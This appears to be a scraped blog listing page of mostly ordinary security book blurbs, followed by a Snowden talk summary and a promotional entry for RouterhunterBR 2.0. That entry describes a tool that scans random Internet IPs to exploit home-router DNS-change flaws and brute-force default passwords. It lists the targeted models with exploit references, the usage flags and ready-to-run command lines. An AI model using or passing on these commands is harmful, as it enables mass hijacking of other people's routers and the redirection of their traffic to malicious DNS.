Wireshark Network Analysis - 2nd Edition

Book Description:

Wireshark is the world’s most popular network analyzer tool with over 500,000 downloads per month. This book provides insider tips and tricks to spot performance issues fast – no more finger pointing because the packets never lie! From “Death by Database” to “Troubleshooting Time Syncing,” 49 case studies offer insight into performance and security situations solved with Wireshark.

Learn to customize Wireshark for faster and more accurate analysis of your network traffic. Build graphs to identify and expose issues such as packet loss, receiver congestion, slow server response, network queuing and more.

This book is the Official Study Guide for the Wireshark Certified Network Analyst program.

This Second Edition includes an introduction to IPv6, ICMPv6 and DHCPv6 analysis, updated Wireshark functionality and new trace files. Refer to wiresharkbook.com for book supplements, index, table of contents and more.





Source: allitebooks

By Offensive Sec

Read More

Bitcoin for the Befuddled

Book Description:

Unless you’ve been living under a rock for the last couple of years, you’ve probably heard of Bitcoin-the game-changing digital currency used by millions worldwide.

But Bitcoin isn’t just another way to buy stuff. It’s an anonymous, revolutionary, cryptographically secure currency that functions without the oversight of a central authority or government. If you want to get into the Bitcoin game but find yourself a little confused, Bitcoin for the Befuddled may be just what you’re looking for. Learn what Bitcoin is; how it works; and how to acquire, store, and spend bitcoins safely and securely.

You’ll also learn:

Bitcoin’s underlying cryptographic principles, and how bitcoins are created
The history of Bitcoin and its potential impact on trade and commerce
All about the blockchain, the public ledger of Bitcoin transactions
How to choose a bitcoin wallet that’s safe and easy to use
How to accept bitcoins as payment in your physical store or on your website
Advanced topics, including Bitcoin mining and Bitcoin programming
With its non-technical language and patient, step-by-step approach to this fascinating currency, Bitcoin for the Befuddled is your ticket to getting started with Bitcoin. Get out from under the rock and get in the Bitcoin game. Just make sure not to lose your shirt.





Source: allitebooks

By Offensive Sec

Read More

Cyberspace and Cybersecurity

Book Description:

English | ISBN: 1466501332 | 2012 | 236 pages | PDF | 2 MB
Based on relate

Based on related courses and research on the cyber environment in Europe, the United States, and Asia, Cyberspace and Cybersecurity supplies complete coverage of cyberspace and cybersecurity. It not only emphasizes technologies but also pays close attention to human factors and organizational perspectives.

Detailing guidelines for quantifying and measuring vulnerabilities, the book also explains how to avoid these vulnerabilities through secure coding. It covers organizational-related vulnerabilities, including access authorization, user authentication, and human factors in information security. Providing readers with the understanding required to build a secure enterprise, block intrusions, and handle delicate legal and ethical issues, the text:

Examines the risks inherent in information system components, namely hardware, software, and people
Explains why asset identification should be the cornerstone of any information security strategy
Identifies the traits a CIO must have to address cybersecurity challenges
Describes how to ensure business continuity in the event of adverse incidents, including acts of nature
Considers intrusion detection and prevention systems (IDPS), focusing on configurations, capabilities, selection, management, and deployment
Explaining how to secure a computer against malware and cyber attacks, the text’s wide-ranging coverage includes security analyzers, firewalls, antivirus software, file shredding, file encryption, and anti-loggers. It reviews international and U.S. federal laws and legal initiatives aimed at providing a legal infrastructure for what transpires over the Internet. The book concludes by examining the role of the U.S. Department of Homeland Security in our country’s cyber preparedness.

Exercises with solutions, updated references, electronic presentations, evaluation criteria for projects, guidelines to project preparations, and teaching suggestions are available upon qualified course adoption.

d courses and research on the cyber environment in Europe, the United States, and Asia, Cyberspace and Cybersecurity supplies complete coverage of cyberspace and cybersecurity. It not only emphasizes technologies but also pays close attention to human factors and organizational perspectives.

Detailing guidelines for quantifying and measuring vulnerabilities, the book also explains how to avoid these vulnerabilities through secure coding. It covers organizational-related vulnerabilities, including access authorization, user authentication, and human factors in information security. Providing readers with the understanding required to build a secure enterprise, block intrusions, and handle delicate legal and ethical issues, the text:

Examines the risks inherent in information system components, namely hardware, software, and people
Explains why asset identification should be the cornerstone of any information security strategy
Identifies the traits a CIO must have to address cybersecurity challenges
Describes how to ensure business continuity in the event of adverse incidents, including acts of nature
Considers intrusion detection and prevention systems (IDPS), focusing on configurations, capabilities, selection, management, and deployment
Explaining how to secure a computer against malware and cyber attacks, the text’s wide-ranging coverage includes security analyzers, firewalls, antivirus software, file shredding, file encryption, and anti-loggers. It reviews international and U.S. federal laws and legal initiatives aimed at providing a legal infrastructure for what transpires over the Internet. The book concludes by examining the role of the U.S. Department of Homeland Security in our country’s cyber preparedness.

Exercises with solutions, updated references, electronic presentations, evaluation criteria for projects, guidelines to project preparations, and teaching suggestions are available upon qualified course adoption.





Source: allitebooks

By Offensive Sec

Read More

Official (ISC)2 Guide to the CISSP-ISSMP CBK - Second Edition

Book Description:

The Certified Information Systems Security Professional-Information Systems Security Management Professional (CISSP-ISSMP®) certification was developed for CISSPs who are seeking to further their careers and validate their expertise in information systems security management. Candidates for the ISSMP need to demonstrate a thorough understanding of the five domains of the ISSMP Common Body of Knowledge (CBK®), along with the ability to apply this in-depth knowledge to establish, present, and govern information security programs, while demonstrating management and leadership skills.

Supplying an authoritative review of key concepts and requirements, the Official (ISC)2® Guide to the CISSP®-ISSMP® CBK®, Second Edition is both up to date and relevant. This book provides a comprehensive review of the five domains in the ISSMP CBK: Security Leadership and Management, Security Lifecycle Management, Security Compliance Management, Contingency Management, and Law, Ethics, and Incident Management.

Numerous illustrated examples and practical exercises are included in this book to demonstrate concepts and real-life scenarios. Endorsed by (ISC)2 and compiled and reviewed by ISSMPs and industry luminaries around the world, this book provides unrivaled preparation for the exam. Earning your ISSMP is a deserving achievement that should ultimately help to enhance your career path and give you a competitive advantage.





Source: allitebooks

By Offensive Sec

Read More

Android Security - Attacks and Defenses

Book Description:

Android Security: Attacks and Defenses is for anyone interested in learning about the strengths and weaknesses of the Android platform from a security perspective. Starting with an introduction to Android OS architecture and application programming, it will help readers get up to speed on the basics of the Android platform and its security issues.

Explaining the Android security model and architecture, the book describes Android permissions, including Manifest permissions, to help readers analyze applications and understand permission requirements. It also rates the Android permissions based on security implications and covers JEB Decompiler.

The authors describe how to write Android bots in JAVA and how to use reversing tools to decompile any Android application. They also cover the Android file system, including import directories and files, so readers can perform basic forensic analysis on file system and SD cards. The book includes access to a wealth of resources on its website: www.androidinsecurity.com. It explains how to crack SecureApp.apk discussed in the text and also makes the application available on its site.

The book includes coverage of advanced topics such as reverse engineering and forensics, mobile device pen-testing methodology, malware analysis, secure coding, and hardening guidelines for Android. It also explains how to analyze security implications for Android mobile devices/applications and incorporate them into enterprise SDLC processes.

The book’s site includes a resource section where readers can access downloads for applications, tools created by users, and sample applications created by the authors under the Resource section. Readers can easily download the files and use them in conjunction with the text, wherever needed. Visit www.androidinsecurity.com for more information.





Source: allitebooks

By Offensive Sec

Read More

Data Analysis For Network Cyber-Security

Book Description:

There is increasing pressure to protect computer networks against unauthorized intrusion, and some work in this area is concerned with engineering systems that are robust to attack. However, no system can be made invulnerable. Data Analysis for Network Cyber-Security focuses on monitoring and analyzing network traffic data, with the intention of preventing, or quickly identifying, malicious activity.
Such work involves the intersection of statistics, data mining and computer science. Fundamentally, network traffic is relational, embodying a link between devices. As such, graph analysis approaches are a natural candidate. However, such methods do not scale well to the demands of real problems, and the critical aspect of the timing of communications events is not accounted for in these approaches.

This book gathers papers from leading researchers to provide both background to the problems and a description of cutting-edge methodology. The contributors are from diverse institutions and areas of expertise and were brought together at a workshop held at the University of Bristol in March 2013 to address the issues of network cyber security. The workshop was supported by the Heilbronn Institute for Mathematical Research.

Readership: Researchers and graduate students in the fields of network traffic data analysis and network cyber security.





Source: allitebooks

By Offensive Sec

Read More

Engineering Secure Software and Systems

Book Description:

This book constitutes the refereed proceedings of the 7th International Symposium on Engineering Secure Software and Systems, ESSoS 2015, held in Milan, Italy, in March 2015. The 11 full papers presented together with 5 short papers were carefully reviewed and selected from 41 submissions. The symposium features the following topics: formal methods; cloud passwords; machine learning; measurements ontologies; and access control.




Source: allitebooks

By Offensive Sec

Read More

That's how we will resume the Internet - Edward Snowden

Through a telepresence robot, Edward Snowden speaks at TED2014 on surveillance and Internet freedom. The right to data privacy, he suggests, is not a partisan issue, but requires a fundamental reassessment of the role of the internet in our lives and the laws that protect it . "Your rights are important," he says, "because you never know when you 'll need them."Chris Anderson interview with special guest Tim Berners -Lee.

By OffensiveSec

Read More

Automated Tool for Testing in Vulnerable Routers - RouterhunterBR 2.0

The RouterhunterBR is an automated security tool que finds vulnerabilities and performs tests on routers and vulnerable devices on the Internet. The RouterhunterBR was designed to run over the Internet looking for defined ips tracks or random in order to automatically exploit the vulnerability DNSChanger on home routers.

The DNSChanger is a trojan able to direct user requests to illegal sites. In practice, this malware has the ability to change the DNS settings of our machine redirecting the user to sites with malicious purposes. Imagine for example that your system is infected with this malware, what might happen is that the user to access a particular site (eg. Facebook.com) may be forwarded to an unsolicited website and potentially illegal.

The script explores four vulnerabilities in routers

• Shuttle Tech ADSL Modem-Router 915 WM / Unauthenticated Remote DNS Change Exploit
  reference: http://www.exploit-db.com/exploits/35995/
• D-Link DSL-2740R / Unauthenticated Remote DNS Change Exploit
  reference: http://www.exploit-db.com/exploits/35917/
• D-Link DSL-2640B Unauthenticated Remote DNS Change Exploit
  reference: http://1337day.com/exploit/23302/
• D-Link DSL-2780B DLink_1.01.14 - Unauthenticated Remote DNS Change
  reference: https://www.exploit-db.com/exploits/37237/
• D-Link DSL-2730B AU_2.01 - Authentication Bypass DNS Change
  reference: https://www.exploit-db.com/exploits/37240/
• D-Link DSL-526B ADSL2+ AU_2.01 - Unauthenticated Remote DNS Change
  reference: https://www.exploit-db.com/exploits/37241/
• DSLink 260E - Authenticated routers - DNS Changer - Bruteforce reference: https://www.youtube.com/watch?v=tNjy91g2Rak
  http://blog.inurl.com.br/2015/03/dslink-260e-defaut-passwords-dns-change_17.html

Requeriments

import sys, os, argparse, itertools, requests, random, time, threading, base64, socket
from datetime import datetime

Usage

  -range 192.168.1.0-255, --range 192.168.1.0-255  Set range of IP
  -bruteforce, --bruteforce                        Performs brute force with users and passwords standards, and soon    after defines the malicious DNS.
  -startip 192.168.*.*, --startip 192.168.*.*      Start - IP range customized with wildcard / 201.*.*.*
  -endip 192.168.*.*, --endip 192.168.*.*          End - IP range customized with wildcard / 201.*.*.*
  -dns1 8.8.8.8, --dns1 8.8.8.8                    Define malicious dns1
  -dns2 8.8.4.4, --dns2 8.8.4.4                    Define malicious dns2
  --threads 10                                     Set threads numbers
  -rip, --randomip                                 Randomizing ips routers
  -lmtip 10, --limitip 10                          Define limite random ip

Commands

Random ips

python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --randomip --limitip 10 --threads 10                      
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 -rip -lmtip 10 --threads 10

Scanner in range ip:

python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --range 192.168.25.0-255 --threads 10

IP range customized with wildcard / Ex: --startip 201.*.*.* - --endip 201.*.*.*

python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --startip 192.168.*.* --endip 192.168.*.* --threads 10

Brute force with users and passwords on routers that requires authentication, forcing alteration of dns - DSLink 260E.

python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.4 --range 177.106.19.65-70 --bruteforce --threads 10

• AUTOR: Jhonathan Davi A.K.A jh00nbr
• EMAIL*: jhoonbr@protonmail.ch
• Blog: http://blog.inurl.com.br
• Twitter: https://twitter.com/jh00nbr
• Facebook: https://fb.com/JhonVipNet
• Fanpage: https://fb.com/InurlBrasil
• Github: https://github.com/jh00nbr/
• Youtube: https://www.youtube.com/c/Mrsinisterboy

Download RouterhunterBR 2.0

Read More